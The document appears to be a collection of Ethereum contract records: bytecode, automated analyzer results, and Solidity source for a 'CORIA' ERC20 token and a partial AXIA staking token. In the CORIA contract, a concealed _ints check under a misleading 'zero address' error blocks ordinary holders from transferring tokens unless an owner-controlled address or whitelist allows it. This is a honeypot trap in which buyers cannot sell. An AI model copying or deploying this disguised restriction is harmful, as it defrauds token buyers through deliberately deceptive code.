209182029290920101526014546115459130911684610ce0565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061157e908590600090869030904290600401611e53565b600060405180830381600087803b15801561159857600080fd5b505af11580156115ac573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115ce576115ce611654565b6115d9848484611682565b80610bc157610bc1600e54600c55600f54600d55565b60008060006115fc611779565b909250905061160b8282611612565b9250505090565b600061143183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117bb565b600c541580156116645750600d54155b1561166b57565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611694876117e9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116c69087611846565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116f59086611888565b6001600160a01b038916600090815260026020526040902055611717816118e7565b6117218483611931565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161176691815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006117958282611612565b8210156117b257505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836117dc5760405162461bcd60e51b81526004016105f09190611b79565b5060006113718486611ec4565b60008060008060008060008060006118068a600c54600d54611955565b92509250925060006118166115ef565b905060008060006118298e8787876119aa565b919e509c509a509598509396509194505050505091939550919395565b600061143183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611340565b6000806118958385611e07565b9050838110156114315760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b60006118f16115ef565b905060006118ff83836119fa565b3060009081526002602052604090205490915061191c9082611888565b30600090815260026020526040902055505050565b60065461193e9083611846565b60065560075461194e9082611888565b6007555050565b600080808061196f606461196989896119fa565b90611612565b9050600061198260646119698a896119fa565b9050600061199a826119948b86611846565b90611846565b9992985090965090945050505050565b60008080806119b988866119fa565b905060006119c788876119fa565b905060006119d588886119fa565b905060006119e7826119948686611846565b939b939a50919850919650505050505050565b600082611a0957506000610676565b6000611a158385611ee6565b905082611a228583611ec4565b146114315760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b8035611aaf81611a8f565b919050565b60006020808385031215611ac757600080fd5b823567ffffffffffffffff80821115611adf57600080fd5b818501915085601f830112611af357600080fd5b813581811115611b0557611b05611a79565b8060051b604051601f19603f83011681018181108582111715611b2a57611b2a611a79565b604052918252848201925083810185019188831115611b4857600080fd5b938501935b82851015611b6d57611b5e85611aa4565b84529385019392850192611b4d565b98975050505050505050565b600060208083528351808285015260005b81811015611ba657858101830151858201604001528201611b8a565b81811115611bb8576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611be157600080fd5b8235611bec81611a8f565b946020939093013593505050565b600080600060608486031215611c0f57600080fd5b8335611c1a81611a8f565b92506020840135611c2a81611a8f565b929592945050506040919091013590565b600060208284031215611c4d57600080fd5b813561143181611a8f565b80358015158114611aaf57600080fd5b600060208284031215611c7a57600080fd5b61143182611c58565b600060208284031215611c9557600080fd5b5035919050565b60008060008060808587031215611cb257600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611ce357600080fd5b833567ffffffffffffffff80821115611cfb57600080fd5b818601915086601f830112611d0f57600080fd5b813581811115611d1e57600080fd5b8760208260051b8501011115611d3357600080fd5b602092830195509350611d499186019050611c58565b90509250925092565b60008060408385031215611d6557600080fd5b8235611d7081611a8f565b91506020830135611d8081611a8f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e0057611e00611dd6565b5060010190565b60008219821115611e1a57611e1a611dd6565b500190565b600082821015611e3157611e31611dd6565b500390565b600060208284031215611e4857600080fd5b815161143181611a8f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ea35784516001600160a01b031683529383019391830191600101611e7e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611ee157634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f0057611f00611dd6565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207bfd41a26197be8fbaa9ed01e1ad3b31f9d8e5ca7f858332c2dfd8287f62ac6f64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,581 |
0x8f4f3bdffe47d91b929148469545d6d4ce84ef19
|
/**
CORIA code created @ 11/14/2020
covault.network
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c66e0d4f70df88e425c8f0dde8888a47d3a396d2d9a75d50abda4877154b2df64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,582 |
0x5456a07d6cc282a4a1b3443a3c170f7846d79bab
|
pragma solidity 0.6.4;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//ERC20 Interface
interface ERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address, uint) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address, uint) external returns (bool);
function transferFrom(address, address, uint) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface ASP {
function scaledToken(uint amount) external returns(bool);
function totalFrozen() external view returns (uint256);
}
interface OSP {
function scaledToken(uint amount) external returns(bool);
function totalFrozen() external view returns (uint256);
}
interface DSP {
function scaledToken(uint amount) external returns(bool);
function totalFrozen() external view returns (uint256);
}
interface USP {
function scaledToken(uint amount) external returns(bool);
function totalFrozen() external view returns (uint256);
}
//======================================AXIA CONTRACT=========================================//
contract AXIATOKEN is ERC20 {
using SafeMath for uint256;
//======================================AXIA EVENTS=========================================//
event NewEpoch(uint epoch, uint emission, uint nextepoch);
event NewDay(uint epoch, uint day, uint nextday);
event BurnEvent(address indexed pool, address indexed burnaddress, uint amount);
event emissions(address indexed root, address indexed pool, uint value);
event TrigRewardEvent(address indexed root, address indexed receiver, uint value);
event BasisPointAdded(uint value);
// ERC-20 Parameters
string public name;
string public symbol;
uint public decimals;
uint public startdecimal;
uint public override totalSupply;
uint public initialsupply;
//======================================STAKING POOLS=========================================//
address public lonePool;
address public swapPool;
address public DefiPool;
address public OraclePool;
address public burningPool;
uint public pool1Amount;
uint public pool2Amount;
uint public pool3Amount;
uint public pool4Amount;
uint public poolAmountTrig;
uint public TrigAmount;
// ERC-20 Mappings
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
// Public Parameters
uint crypto;
uint startcrypto;
uint public emission;
uint public currentEpoch;
uint public currentDay;
uint public daysPerEpoch;
uint public secondsPerDay;
uint public genesis;
uint public nextEpochTime;
uint public nextDayTime;
uint public amountToEmit;
uint public BPE;
//======================================BASIS POINT VARIABLES=========================================//
uint public bpValue;
uint public actualValue;
uint public TrigReward;
uint public burnAmount;
address administrator;
uint totalEmitted;
uint256 public pool1percentage = 3500;
uint256 public pool2percentage = 6500;
uint256 public pool3percentage = 0;
uint256 public pool4percentage = 0;
uint256 public trigRewardpercentage = 20;
address public messagesender;
// Public Mappings
mapping(address=>bool) public Address_Whitelisted;
mapping(address=>bool) public emission_Whitelisted;
//=====================================CREATION=========================================//
// Constructor
constructor() public {
name = "AXIA TOKEN (axiaprotocol.io)";
symbol = "AXIA-V2";
decimals = 18;
startdecimal = 16;
crypto = 1*10**decimals;
startcrypto = 1*10**startdecimal;
totalSupply = 3000000*crypto;
initialsupply = 50203125*startcrypto;
emission = 7200*crypto;
currentEpoch = 1;
currentDay = 1;
genesis = now;
daysPerEpoch = 180;
secondsPerDay = 86400;
administrator = msg.sender;
balanceOf[administrator] = initialsupply;
emit Transfer(administrator, address(this), initialsupply);
nextEpochTime = genesis + (secondsPerDay * daysPerEpoch);
nextDayTime = genesis + secondsPerDay;
Address_Whitelisted[administrator] = true;
emission_Whitelisted[administrator] = true;
}
//========================================CONFIGURATIONS=========================================//
function poolconfigs(address _axia, address _swap, address _defi, address _oracle) public onlyAdministrator returns (bool success) {
lonePool = _axia;
swapPool = _swap;
DefiPool = _defi;
OraclePool = _oracle;
return true;
}
function burningPoolconfigs(address _pooladdress) public onlyAdministrator returns (bool success) {
burningPool = _pooladdress;
return true;
}
modifier onlyAdministrator() {
require(msg.sender == administrator, "Ownable: caller is not the owner");
_;
}
modifier onlyBurningPool() {
require(msg.sender == burningPool, "Authorization: Only the pool that allows burn can call on this");
_;
}
function whitelist(address _address) public onlyAdministrator returns (bool success) {
Address_Whitelisted[_address] = true;
return true;
}
